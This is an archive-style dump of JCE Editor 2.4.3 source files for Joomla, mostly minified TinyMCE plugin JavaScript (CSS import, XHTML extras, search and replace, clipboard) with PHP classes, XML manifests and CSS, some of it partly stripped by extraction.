http://www.gnu.org/licenses/gpl-2.0.html */ (function(){var each=tinymce.each,PreviewCss=tinymce.util.PreviewCss,DOM=tinymce.DOM;function toAbsolute(u,p){return u.replace(/url\(["']?(.+?)["']?\)/gi,function(a,b){if(b.indexOf('://')<0){return'url("'+p+b+'")';} return a;});} tinymce.create('tinymce.plugins.ImportCSS',{populateStyleSelect:function(){var ed=this.editor;var self=this,styleselect=ed.controlManager.get('styleselect');if(!styleselect||styleselect.hasClasses){return;} var counter=Math.max(styleselect.getLength()-1,0),cls=this._import();if(cls.length===0){return;} each(cls,function(o,idx){var name='style_'+(counter+idx),fmt;fmt={inline:'span',attributes:{'class':o['class']},selector:'*'};ed.formatter.register(name,fmt);styleselect.add(o['class'],name,{style:function(){return PreviewCss(ed,fmt);}});});styleselect.hasClasses=true;},init:function(ed,url){this.editor=ed;var self=this;this.classes=[];this.fontface=[];ed.onPreInit.add(function(editor){var styleselect=ed.controlManager.get('styleselect');if(styleselect&&!styleselect.hasClasses&&ed.getParam('styleselect_stylesheet',true)){styleselect.onPostRender.add(function(ed,n){if(!styleselect.NativeListBox){DOM.bind(DOM.get(n.id+'_text'),'focus mousedown',self.populateStyleSelect,self);DOM.bind(DOM.get(n.id+'_open'),'focus mousedown',self.populateStyleSelect,self);}else{DOM.bind(DOM.get(n.id,'focus'),self.populateStyleSelect,self);}});} var fontselect=ed.controlManager.get('fontselect');if(fontselect){fontselect.onPostRender.add(function(){if(!self.fontface){self._import();}});}});ed.onNodeChange.add(function(){var styleselect=ed.controlManager.get('styleselect');if(styleselect&&!styleselect.hasClasses&&ed.getParam('styleselect_stylesheet',true)){return self.populateStyleSelect();}});},_import:function(){var self=this,ed=this.editor,doc=ed.getDoc(),i,lo={},f=ed.settings.class_filter,ov,href='',rules=[],fontface=false,classes=false;function parseCSS(stylesheet){each(stylesheet.imports,function(r){if(r.href.indexOf('://fonts.googleapis.com')>0){var v='@import url('+r.href+');';if(tinymce.inArray(self.fontface,v)===-1){self.fontface.unshift(v);} return;} parseCSS(r);});try{rules=stylesheet.cssRules||stylesheet.rules;if(stylesheet.href){href=stylesheet.href.substr(0,stylesheet.href.lastIndexOf('/')+1);}}catch(e){} each(rules,function(r){switch(r.type||1){case 1:if(!r.type){} if(r.selectorText){each(r.selectorText.split(','),function(v){v=v.replace(/^\s*|\s*$|^\s\./g,"");if(/\.mce/.test(v)||!/\.[\w\-]+$/.test(v)) return;ov=v;v=tinymce._replace(/.*\.([a-z0-9_\-]+).*/i,'$1',v);if(f&&!(v=f(v,ov))) return;if(!lo[v]){self.classes.push({'class':v});lo[v]=1;}});} break;case 3:if(r.href.indexOf('//fonts.googleapis.com')>0){var v='@import url('+r.href+');';if(tinymce.inArray(self.fontface,v)===-1){self.fontface.unshift(v);}} if(tinymce.isGecko&&r.href.indexOf('//')!=-1){return;} parseCSS(r.styleSheet);break;case 5:if(r.cssText&&/(fontawesome|glyphicons|icomoon)/i.test(r.cssText)===false){var v=toAbsolute(r.cssText,href);if(tinymce.inArray(self.fontface,v)===-1){self.fontface.push(v);}} break;}});classes=true;} if((self.classes.length===0&&classes===false)||(self.fontface.length===0&&fontface===false)){try{each(doc.styleSheets,function(styleSheet){parseCSS(styleSheet);});}catch(ex){}} if(self.fontface.length&&fontface===false){try{var head=DOM.doc.getElementsByTagName('head')[0];var style=DOM.create('style',{type:'text/css'});var css=self.fontface.join("\n");if(style.styleSheet){var setCss=function(){try{style.styleSheet.cssText=css;}catch(e){}};if(style.styleSheet.disabled){setTimeout(setCss,10);}else{setCss();}}else{style.appendChild(DOM.doc.createTextNode(css));} head.appendChild(style);fontface=true;}catch(e){}} return self.classes;}});tinymce.PluginManager.add('importcss',tinymce.plugins.ImportCSS);})();com_jce/editor/tiny_mce/plugins/xhtmlxtras/js/index.html000066600000000054150771500630017557 0ustar00com_jce/editor/tiny_mce/plugins/xhtmlxtras/js/xhtmlxtras.js000066600000005567150771500630020354 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ var XHTMLXtrasDialog={settings:{},init:function(){tinyMCEPopup.resizeToInnerSize();var ed=tinyMCEPopup.editor,se=ed.selection,n=se.getNode(),element=tinyMCEPopup.getWindowArg('element');if(element){n=ed.dom.getParent(n,element);} TinyMCE_Utils.fillClassList('class');$.Plugin.init();if(n){var text=n.textContent||n.innerText||'';if(se.isCollapsed()||text==se.getContent({format:'text'})){$(':input').each(function(){var k=$(this).attr('id');if(/on(click|dblclick)/.test(k)){k='data-mce-'+k;} $(this).val(ed.dom.getAttrib(n,k));});$('#insert').button('option','label',ed.getLang('update','Insert'));}} $('#remove').button({icons:{primary:'ui-icon-minus'}}).toggle(!!element);if(ed.settings.schema!=='html5'&&ed.settings.validate===true){$('input.html5').parent('td').parent('tr').hide();} if(!tinymce.is(n,':input, form')){$('input.form').parent('td').parent('tr').hide();} if(!tinymce.is(n,'img')){$('input.media').parent('td').parent('tr').hide();}},insert:function(){var ed=tinyMCEPopup.editor,se=ed.selection,n=se.getNode(),elm;tinyMCEPopup.restoreSelection();var element=tinyMCEPopup.getWindowArg('element');var args={};$(':input').each(function(){var k=$(this).attr('id'),v=$(this).val();if(/on(click|dblclick)/.test(k)){k='data-mce-'+k;} args[k]=v;});if(element){if(n.nodeName.toLowerCase()==element){elm=n;}else{elm=ed.dom.getParent(n,element);} ed.formatter.apply(element.toLowerCase(),args,elm);}else{var isTextSelection=se.getContent()==se.getContent({format:'text'});if(n==ed.getBody()||isTextSelection){ed.formatter.apply('attributes',args);}else{ed.dom.setAttribs(n,args);}} ed.undoManager.add();tinyMCEPopup.close();},remove:function(){var ed=tinyMCEPopup.editor;var element=tinyMCEPopup.getWindowArg('element');if(element){ed.formatter.remove(element);ed.undoManager.add();} tinyMCEPopup.close();},insertDateTime:function(id){document.getElementById(id).value=this.getDateTime(new Date(),"%Y-%m-%dT%H:%M:%S");},getDateTime:function(d,fmt){fmt=fmt.replace("%D","%m/%d/%y");fmt=fmt.replace("%r","%I:%M:%S %p");fmt=fmt.replace("%Y",""+d.getFullYear());fmt=fmt.replace("%y",""+d.getYear());fmt=fmt.replace("%m",this.addZeros(d.getMonth()+1,2));fmt=fmt.replace("%d",this.addZeros(d.getDate(),2));fmt=fmt.replace("%H",""+this.addZeros(d.getHours(),2));fmt=fmt.replace("%M",""+this.addZeros(d.getMinutes(),2));fmt=fmt.replace("%S",""+this.addZeros(d.getSeconds(),2));fmt=fmt.replace("%I",""+((d.getHours()+11)%12+1));fmt=fmt.replace("%p",""+(d.getHours()<12?"AM":"PM"));fmt=fmt.replace("%%","%");return fmt;},addZeros:function(value,len){var i;value=""+value;if(value.length

    com_jce/editor/tiny_mce/plugins/xhtmlxtras/tmpl/default.php000066600000002055150771500630020262 0ustar00
    render(); ?>
    com_jce/editor/tiny_mce/plugins/xhtmlxtras/tmpl/index.html000066600000000054150771500630020117 0ustar00com_jce/editor/tiny_mce/plugins/xhtmlxtras/tmpl/standard.php000066600000004636150771500630020445 0ustar00plugin->getElementName(); if ($element == 'del' || $element == 'ins') : echo $this->loadTemplate('datetime'); endif; ?>

    plugin->isHTML5()) : echo $this->loadTemplate('html5'); endif; ?>
    com_jce/editor/tiny_mce/plugins/xhtmlxtras/tmpl/standard_html5.php000066600000004464150771500630021555 0ustar00 com_jce/editor/tiny_mce/plugins/xhtmlxtras/tmpl/standard_datetime.php000066600000002544150771500630022315 0ustar00

    com_jce/editor/tiny_mce/plugins/xhtmlxtras/classes/index.html000066600000000054150771500630020600 0ustar00com_jce/editor/tiny_mce/plugins/xhtmlxtras/classes/xhtmlxtras.php000066600000003417150771500630021540 0ustar00getParam('editor.schema', 'html4') == 'html5' && (bool) $this->getParam('editor.verify_html', 0) === true; } /** * Display the plugin */ public function display() { parent::display(); $document = WFDocument::getInstance(); $element = $this->getElementName(); $document->setTitle(WFText::_('WF_' . strtoupper($element) . '_TITLE')); $document->addScript(array('xhtmlxtras'), 'plugins'); $document->addStyleSheet(array('xhtmlxtras'), 'plugins'); $document->addScriptDeclaration('XHTMLXtrasDialog.settings=' . json_encode($this->getSettings()) . ';'); $tabs = WFTabs::getInstance(array('base_path' => WF_EDITOR_PLUGIN)); $tabs->addTab('standard', 1, array('plugin' => $this)); if ($element == 'attributes') { $tabs->addTab('events'); } } public function getSettings() { return parent::getSettings(); } } ?> com_jce/editor/tiny_mce/plugins/xhtmlxtras/index.html000066600000000054150771500630017143 0ustar00com_jce/editor/tiny_mce/plugins/xhtmlxtras/css/index.html000066600000000054150771500630017733 0ustar00com_jce/editor/tiny_mce/plugins/xhtmlxtras/css/xhtmlxtras.css000066600000001032150771500630020663 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ #jce .ui-tabs-panel{height:285px;}#jce div#attributes .ui-tabs-panel{height:335px;}#jce div#del .ui-tabs-panel,#jce div#ins .ui-tabs-panel{height:350px;}#jce label{display:inline-block;min-width:70px;}#standard_tab input[type="text"],#events_tab input[type="text"]{width:300px;}#class{width:280px;}#events_tab{overflow:auto;}com_jce/editor/tiny_mce/plugins/xhtmlxtras/css/content.css000066600000000726150771500630020130 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ ins{border-bottom:1px solid green;text-decoration:none;color:green;}del{color:Red;text-decoration:line-through;}cite{border-bottom:1px dashed blue;}acronym{border-bottom:1px dotted #CCC;cursor:help;}abbr,html:abbr{border-bottom:1px dashed #CCC;cursor:help;}com_jce/editor/tiny_mce/plugins/xhtmlxtras/xhtmlxtras.php000066600000001210150771500630020070 0ustar00execute(); ?> com_jce/editor/tiny_mce/plugins/xhtmlxtras/editor_plugin.js000066600000010663150771500630020357 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | © Copyright, Moxiecode Systems AB | http://www.tinymce.com/license */ (function(){var each=tinymce.each;tinymce.create('tinymce.plugins.XHTMLXtrasPlugin',{init:function(ed,url){ed.addCommand('mceCite',function(){ed.windowManager.open({file:ed.getParam('site_url')+'index.php?option=com_jce&view=editor&layout=plugin&plugin=xhtmlxtras&element=cite',width:440+parseInt(ed.getLang('xhtmlxtras.cite_delta_width',0)),height:380+parseInt(ed.getLang('xhtmlxtras.cite_delta_height',0)),inline:1,popup_css:false},{plugin_url:url,element:'cite'});});ed.addCommand('mceAcronym',function(){ed.windowManager.open({file:ed.getParam('site_url')+'index.php?option=com_jce&view=editor&layout=plugin&plugin=xhtmlxtras&element=acronym',width:440+parseInt(ed.getLang('xhtmlxtras.acronym_delta_width',0)),height:380+parseInt(ed.getLang('xhtmlxtras.acronym_delta_height',0)),inline:1,popup_css:false},{plugin_url:url,element:'acronym'});});ed.addCommand('mceAbbr',function(){ed.windowManager.open({file:ed.getParam('site_url')+'index.php?option=com_jce&view=editor&layout=plugin&plugin=xhtmlxtras&element=abbr',width:440+parseInt(ed.getLang('xhtmlxtras.abbr_delta_width',0)),height:380+parseInt(ed.getLang('xhtmlxtras.abbr_delta_height',0)),inline:1,popup_css:false},{plugin_url:url,element:'abbr'});});ed.addCommand('mceDel',function(){ed.windowManager.open({file:ed.getParam('site_url')+'index.php?option=com_jce&view=editor&layout=plugin&plugin=xhtmlxtras&element=del',width:440+parseInt(ed.getLang('xhtmlxtras.del_delta_width',0)),height:440+parseInt(ed.getLang('xhtmlxtras.del_delta_height',0)),inline:1,popup_css:false},{plugin_url:url,element:'del'});});ed.addCommand('mceIns',function(){ed.windowManager.open({file:ed.getParam('site_url')+'index.php?option=com_jce&view=editor&layout=plugin&plugin=xhtmlxtras&element=ins',width:440+parseInt(ed.getLang('xhtmlxtras.ins_delta_width',0)),height:440+parseInt(ed.getLang('xhtmlxtras.ins_delta_height',0)),inline:1,popup_css:false},{plugin_url:url,element:'ins'});});ed.addCommand('mceAttributes',function(){ed.windowManager.open({file:ed.getParam('site_url')+'index.php?option=com_jce&view=editor&layout=plugin&plugin=xhtmlxtras&element=attributes',width:440,height:420,inline:1,popup_css:false},{plugin_url:url});});ed.addButton('cite',{title:'xhtmlxtras.cite_desc',cmd:'mceCite'});ed.addButton('acronym',{title:'xhtmlxtras.acronym_desc',cmd:'mceAcronym'});ed.addButton('abbr',{title:'xhtmlxtras.abbr_desc',cmd:'mceAbbr'});ed.addButton('del',{title:'xhtmlxtras.del_desc',cmd:'mceDel'});ed.addButton('ins',{title:'xhtmlxtras.ins_desc',cmd:'mceIns'});ed.addButton('attribs',{title:'xhtmlxtras.attribs_desc',cmd:'mceAttributes'});ed.onNodeChange.add(function(ed,cm,n,co){n=ed.dom.getParent(n,'CITE,ACRONYM,ABBR,DEL,INS');cm.setDisabled('cite',co);cm.setDisabled('acronym',co);cm.setDisabled('abbr',co);cm.setDisabled('del',co);cm.setDisabled('ins',co);cm.setDisabled('attribs',n&&n.nodeName=='BODY');cm.setActive('cite',0);cm.setActive('acronym',0);cm.setActive('abbr',0);cm.setActive('del',0);cm.setActive('ins',0);if(n){do{cm.setDisabled(n.nodeName.toLowerCase(),0);cm.setActive(n.nodeName.toLowerCase(),1);}while(n=n.parentNode);}});ed.onPreInit.add(function(){ed.dom.create('abbr');ed.formatter.register({cite:{inline:'cite',remove:'all',onformat:function(elm,fmt,vars){each(vars,function(value,key){ed.dom.setAttrib(elm,key,value);});}},acronym:{inline:'acronym',remove:'all',onformat:function(elm,fmt,vars){each(vars,function(value,key){ed.dom.setAttrib(elm,key,value);});}},abbr:{inline:'abbr',remove:'all',onformat:function(elm,fmt,vars){each(vars,function(value,key){ed.dom.setAttrib(elm,key,value);});}},del:{inline:'del',remove:'all',onformat:function(elm,fmt,vars){each(vars,function(value,key){ed.dom.setAttrib(elm,key,value);});}},ins:{inline:'ins',remove:'all',onformat:function(elm,fmt,vars){each(vars,function(value,key){ed.dom.setAttrib(elm,key,value);});}},attributes:{inline:'span',remove:'all',onformat:function(elm,fmt,vars){each(vars,function(value,key){ed.dom.setAttrib(elm,key,value);});}}});});},getInfo:function(){return{longname:'XHTML Xtras Plugin',author:'Moxiecode Systems AB',authorurl:'http://tinymce.moxiecode.com',infourl:'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/xhtmlxtras',version:tinymce.majorVersion+"."+tinymce.minorVersion};}});tinymce.PluginManager.add('xhtmlxtras',tinymce.plugins.XHTMLXtrasPlugin);})();com_jce/editor/tiny_mce/plugins/xhtmlxtras/xhtmlxtras.xml000066600000002504150771500630020110 0ustar00 WF_XHTMLXTRAS_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_XHTMLXTRAS_DESC cite,abbr,acronym,del,ins,attribs com_jce/editor/tiny_mce/plugins/searchreplace/js/searchreplace.js000066600000006756150771500630021323 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ var SearchReplaceDialog={settings:{},init:function(ed){var self=this,m=tinyMCEPopup.getWindowArg("mode");$.Plugin.init();$('button#next').button({icons:{primary:'ui-icon-arrowthick-1-e'}}).click(function(e){self.searchNext('none');e.preventDefault();});$('button#replaceBtn').button({icons:{primary:'ui-icon-transferthick-e-w'}}).click(function(e){self.searchNext('current');e.preventDefault();});$('button#replaceAllBtn').button({icons:{primary:'ui-icon-transferthick-e-w'}}).click(function(e){self.searchNext('all');e.preventDefault();});var index=$('a[href="#'+m+'_tab"]').parent().index();$('#tabs').on('tabsactivate',function(e,ui){var id=$(ui.newPanel).attr('id');self.switchMode(id.substring(0,id.indexOf('_')));}).tabs('option','active',index);this.switchMode(m);$('#'+m+'_panel_searchstring').val(tinyMCEPopup.getWindowArg("search_string"));$('#'+m+'_panel_searchstring').focus();},switchMode:function(m){var lm=this.lastMode;if(lm!=m){if(lm){$('#'+m+'_panel_searchstring').val($('#'+lm+'_panel_searchstring').val());$('#'+m+'_panel_backwardsu').prop('checked',$('#'+lm+'_panel_backwardsu').is(':checked'));$('#'+m+'_panel_backwardsd').prop('checked',$('#'+lm+'_panel_backwardsd').is(':checked'));$('#'+m+'_panel_casesensitivebox').prop('checked',$('#'+lm+'_panel_casesensitivebox').is(':checked'));} $("#replaceBtn, #replaceAllBtn").css('display',function(){if(m=='replace'){return'inline';} return'none';});this.lastMode=m;}},searchNext:function(a){var ed=tinyMCEPopup.editor,se=ed.selection,r=se.getRng(),m=this.lastMode,s,b,fl=0,w=ed.getWin(),wm=ed.windowManager,fo=0,ca,rs;if(tinymce.isIE11&&!window.find){return;} s=$('#'+m+'_panel_searchstring').val();b=$('#'+m+'_panel_backwardsu').is(':checked');ca=$('#'+m+'_panel_casesensitivebox').is(':checked');rs=$('#replace_panel_replacestring').val();if(tinymce.isIE){r=ed.getDoc().selection.createRange();} if(s=='') return;function fix(){r=se.getRng().cloneRange();ed.getDoc().execCommand('SelectAll',false,null);se.setRng(r);} function replace(){ed.selection.setContent(rs);} if(ca) fl=fl|4;switch(a){case'all':ed.execCommand('SelectAll');ed.selection.collapse(true);if(tinymce.isIE){ed.focus();r=ed.getDoc().selection.createRange();while(r.findText(s,b?-1:1,fl)){r.scrollIntoView();r.select();replace();fo=1;if(b){r.moveEnd("character",-(rs.length));}} tinyMCEPopup.storeSelection();}else{while(w.find(s,ca,b,false,false,false,false)){replace();fo=1;}} if(fo) tinyMCEPopup.alert(ed.getLang('searchreplace_dlg.allreplaced','All occurrences of the search string were replaced.'));else tinyMCEPopup.alert(ed.getLang('searchreplace_dlg.notfound','The search has been completed. The search string could not be found.'));return;case'current':if(!ed.selection.isCollapsed()) replace();break;} se.collapse(b);r=se.getRng();if(!s) return;if(tinymce.isIE){ed.focus();r=ed.getDoc().selection.createRange();if(r.findText(s,b?-1:1,fl)){r.scrollIntoView();r.select();}else tinyMCEPopup.alert(ed.getLang('searchreplace_dlg.notfound','The search has been completed. The search string could not be found.'));tinyMCEPopup.storeSelection();}else{if(!w.find(s,ca,b,false,false,false,false)) tinyMCEPopup.alert(ed.getLang('searchreplace_dlg.notfound','The search has been completed. The search string could not be found.'));else fix();}}};tinyMCEPopup.onInit.add(SearchReplaceDialog.init,SearchReplaceDialog);com_jce/editor/tiny_mce/plugins/searchreplace/js/index.html000066600000000054150771500630020142 0ustar00com_jce/editor/tiny_mce/plugins/searchreplace/tmpl/default.php000066600000002146150771500630020646 0ustar00 render(); ?>
    com_jce/editor/tiny_mce/plugins/searchreplace/tmpl/replace.php000066600000003475150771500630020643 0ustar00
    com_jce/editor/tiny_mce/plugins/searchreplace/tmpl/index.html000066600000000054150771500630020502 0ustar00com_jce/editor/tiny_mce/plugins/searchreplace/tmpl/find.php000066600000002736150771500630020147 0ustar00
    com_jce/editor/tiny_mce/plugins/searchreplace/classes/index.html000066600000000054150771500630021163 0ustar00com_jce/editor/tiny_mce/plugins/searchreplace/classes/searchreplace.php000066600000002631150771500630022503 0ustar00addScript(array('searchreplace'), 'plugins'); $document->addStyleSheet(array('searchreplace'), 'plugins'); $settings = $this->getSettings(); $document->addScriptDeclaration('SearchReplaceDialog.settings=' . json_encode($settings) . ';'); $tabs = WFTabs::getInstance(array( 'base_path' => WF_EDITOR_PLUGIN )); // Add tabs $tabs->addTab('find'); $tabs->addTab('replace'); } public function getSettings() { $settings = array(); return parent::getSettings($settings); } } ?> com_jce/editor/tiny_mce/plugins/searchreplace/index.html000066600000000054150771500630017526 0ustar00com_jce/editor/tiny_mce/plugins/searchreplace/searchreplace.xml000066600000001312150771500630021052 0ustar00 WF_SEARCHREPLACE_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_SEARCHREPLACE_DESC search,replace com_jce/editor/tiny_mce/plugins/searchreplace/css/index.html000066600000000054150771500630020316 0ustar00com_jce/editor/tiny_mce/plugins/searchreplace/css/searchreplace.css000066600000000500150771500630021630 0ustar00/*JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/ .ui-tabs-panel{height:100px;}#jce label[for$="_backwardsu"],#jce label[for$="_backwardsd"]{min-width:40px;}com_jce/editor/tiny_mce/plugins/searchreplace/searchreplace.php000066600000001214150771500630021042 0ustar00execute(); ?> com_jce/editor/tiny_mce/plugins/searchreplace/editor_plugin.js000066600000013142150771500630020735 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | © Copyright, Moxiecode Systems AB | http://www.tinymce.com/license */ (function(){var DOM=tinymce.DOM,Event=tinymce.dom.Event,each=tinymce.each;tinymce.create('tinymce.plugins.SearchReplacePlugin',{init:function(ed,url){function open(m){ed.windowManager.open({file:ed.getParam('site_url')+'index.php?option=com_jce&view=editor&layout=plugin&plugin=searchreplace',width:420+parseInt(ed.getLang('searchreplace.delta_width',0)),height:190+parseInt(ed.getLang('searchreplace.delta_height',0)),inline:1,auto_focus:0,popup_css:false},{mode:m,search_string:ed.selection.getContent({format:'text'}),plugin_url:url});};var self=this;this.bookmark=null;this.editor=ed;ed.addCommand('mceSearch',function(ui,s){if(ed.getParam('searchreplace_use_dialog',1)){return open('find');} var se=ed.selection,r,b,w=ed.getWin(),ca=s.casesensitive,v=s.value||'',b=s.backwards,fl=0,fo=0,rs=s.replace,result;if(!v) return;if(tinymce.isIE){r=ed.getDoc().selection.createRange();} if(ca) fl=fl|4;function replace(){ed.selection.setContent(rs);};var complete=s.onComplete||function(){};var find=s.onFind||function(){};switch(s.mode){case'all':ed.execCommand('SelectAll');ed.selection.collapse(true);if(tinymce.isIE){ed.focus();r=ed.getDoc().selection.createRange();while(r.findText(s,b?-1:1,fl)){r.scrollIntoView();r.select();replace();fo=1;if(b){r.moveEnd("character",-(rs.length));}}}else{while(w.find(s,ca,b,false,false,false,false)){replace();fo=1;}} complete.call(s.scope||this,!!fo);case'current':if(!ed.selection.isCollapsed()){replace();} break;} se.collapse(b);r=se.getRng();if(tinymce.isIE){ed.focus();r=ed.getDoc().selection.createRange();if(r.findText(v,b?-1:1,fl)){r.scrollIntoView();r.select();result=true;find.call(s.scope||this);}else{result=false;}}else{result=w.find(v,ca,b,true,false,false,false);if(result){find.call(s.scope||this);}} complete.call(s.scope||this,result);});if(ed.getParam('searchreplace_use_dialog',1)){ed.addCommand('mceReplace',function(){open('replace');});ed.addButton('search',{title:'searchreplace.search_desc',cmd:'mceSearch'});ed.addButton('replace',{title:'searchreplace.replace_desc',cmd:'mceReplace'});} ed.addShortcut('ctrl+f','searchreplace.search_desc',function(){if(ed.getParam('searchreplace_use_dialog',1)){return ed.execCommand('mceSearch');} var cm=ed.controlManager,c=cm.get(cm.prefix+'searchreplace_search');if(c&&!c.isDisabled()){c.showDialog();}});},createControl:function(n,cm){var self=this,ed=this.editor;switch(n){case'replace':if(ed.getParam('searchreplace_use_dialog',1)){return;} var content=DOM.create('div');var fieldset=DOM.add(content,'fieldset',{},''+ed.getLang('searchreplace.replace_desc','Replace')+'');var n=DOM.add(fieldset,'div');DOM.add(n,'label',{'for':ed.id+'_searchreplace_find'},ed.getLang('searchreplace.find','Find What'));var find=DOM.add(n,'input',{type:'text',id:ed.id+'_searchreplace_find',style:{'width':210}});n=DOM.add(fieldset,'div');DOM.add(n,'label',{'for':ed.id+'_searchreplace_replace'},ed.getLang('searchreplace.replace','Replace with'));var replace=DOM.add(n,'input',{type:'text',id:ed.id+'_searchreplace_replace',style:{'width':210}});n=DOM.add(fieldset,'div');var casesensitive=DOM.add(n,'input',{type:'checkbox',id:ed.id+'_searchreplace_casesensitive'});DOM.add(n,'label',{'for':ed.id+'_searchreplace_casesensitive'},ed.getLang('searchreplace.casesensitive','Match Case'));var c=new tinymce.ui.ButtonDialog(cm.prefix+'searchreplace_search',{title:ed.getLang('searchreplace.replace_desc','Search / Replace'),'class':'mce_search','dialog_class':ed.getParam('skin')+'Skin','content':content,'width':320,buttons:[{title:ed.getLang('searchreplace.find_next','Next'),id:'searchreplace_find_next',click:function(e){if(!find.value){return false;} DOM.removeClass(find,'search_error');var r=ed.execCommand('mceSearch',false,{value:find.value,casesensitive:casesensitive.checked,onComplete:function(r){if(!r){DOM.addClass(find,'search_error');}},onFind:function(){c.storeSelection();}});return false;},scope:self},{title:ed.getLang('searchreplace.find_previous','Previous'),id:'searchreplace_find_previous',click:function(e){if(!find.value){return false;} DOM.removeClass(find,'search_error');var r=ed.execCommand('mceSearch',false,{value:find.value,casesensitive:casesensitive.checked,backwards:true,onComplete:function(r){if(!r){DOM.addClass(find,'search_error');}}});return false;},scope:self},{title:ed.getLang('searchreplace.replace','Replace'),id:'searchreplace_replace',click:function(e){if(!find.value||!replace.value){return false;} var r=ed.execCommand('mceSearch',false,{value:find.value,casesensitive:casesensitive.checked,replace:replace.value,mode:'current'});return false;},scope:self},{title:ed.getLang('searchreplace.replace_all','Replace All'),id:'searchreplace_replace_all',click:function(e){if(!find.value||!replace.value){return false;} var r=ed.execCommand('mceSearch',false,{value:find.value,casesensitive:casesensitive.checked,replace:replace.value,mode:'all'});return false;},scope:self}]},ed);c.onShowDialog.add(function(){find.focus();});c.onHideDialog.add(function(){DOM.removeClass(find,'search_error');find.value=replace.value='';c.restoreSelection();});ed.onRemove.add(function(){c.destroy();});return cm.add(c);break;} return null;},getInfo:function(){return{longname:'Search/Replace',author:'Moxiecode Systems AB',authorurl:'http://tinymce.moxiecode.com',infourl:'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/searchreplace',version:tinymce.majorVersion+"."+tinymce.minorVersion};}});tinymce.PluginManager.add('searchreplace',tinymce.plugins.SearchReplacePlugin);})();com_jce/editor/tiny_mce/plugins/clipboard/js/index.html000066600000000054150771500630017300 0ustar00com_jce/editor/tiny_mce/plugins/clipboard/js/clipboard.js000066600000005003150771500630017577 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ var ClipboardDialog={settings:{},init:function(){var self=this,ed=tinyMCEPopup.editor,el=document.getElementById('container'),title=document.getElementById('title'),ifr,doc,css,cssHTML='';$.Plugin.init();$('#insert').click(function(e){self.insert();e.preventDefault;});$('#cancel').click(function(e){tinyMCEPopup.close();e.preventDefault;});var cmd=tinyMCEPopup.getWindowArg('cmd');var msg=ed.getLang('clipboard.paste_dlg_title','Use %s+V on your keyboard to paste text into the window.');title.innerHTML=msg.replace(/%s/g,tinymce.isMac?'CMD':'CTRL');if(cmd=='mcePaste'){document.title=ed.getLang('clipboard.paste_desc');el.innerHTML='';ifr=document.getElementById('content');doc=ifr.contentWindow.document;css=tinymce.explode(ed.settings.content_css)||[];css.push(ed.baseURI.toAbsolute("themes/"+ed.settings.theme+"/skins/"+ed.settings.skin+"/content.css"));css.push(ed.baseURI.toAbsolute("plugins/clipboard/css/blank.css"));tinymce.each(css,function(u){cssHTML+='';});doc.open();doc.write(''+cssHTML+'');doc.close();doc.designMode='on';window.setTimeout(function(){ifr.contentWindow.focus();},10);}else{document.title=ed.getLang('clipboard.paste_text_desc');el.innerHTML='';} this.resize();},insert:function(){var h,wc,c=document.getElementById('content');tinyMCEPopup.restoreSelection();if(c.nodeName=='TEXTAREA'){h=c.value;lines=h.split(/\r?\n/);if(lines.length>1){h='';tinymce.each(lines,function(row){if(tinyMCEPopup.editor.getParam('force_p_newlines')){h+='

    '+row+'

    ';} else{h+=row+'
    ';}});} wc=false;}else{h=c.contentWindow.document.body.innerHTML;wc=true;} tinyMCEPopup.editor.execCommand('mceInsertClipboardContent',false,{content:h,wordContent:wc});tinyMCEPopup.close();},resize:function(){var vp=tinyMCEPopup.dom.getViewPort(window),el;el=document.getElementById('content');if(el){el.style.width=(vp.w-20)+'px';el.style.height=(vp.h-90)+'px';}}};tinyMCEPopup.onInit.add(ClipboardDialog.init,ClipboardDialog);com_jce/editor/tiny_mce/plugins/clipboard/clipboard.php000066600000001205150771500630017336 0ustar00execute(); ?> com_jce/editor/tiny_mce/plugins/clipboard/tmpl/default.php000066600000001531150771500630020001 0ustar00
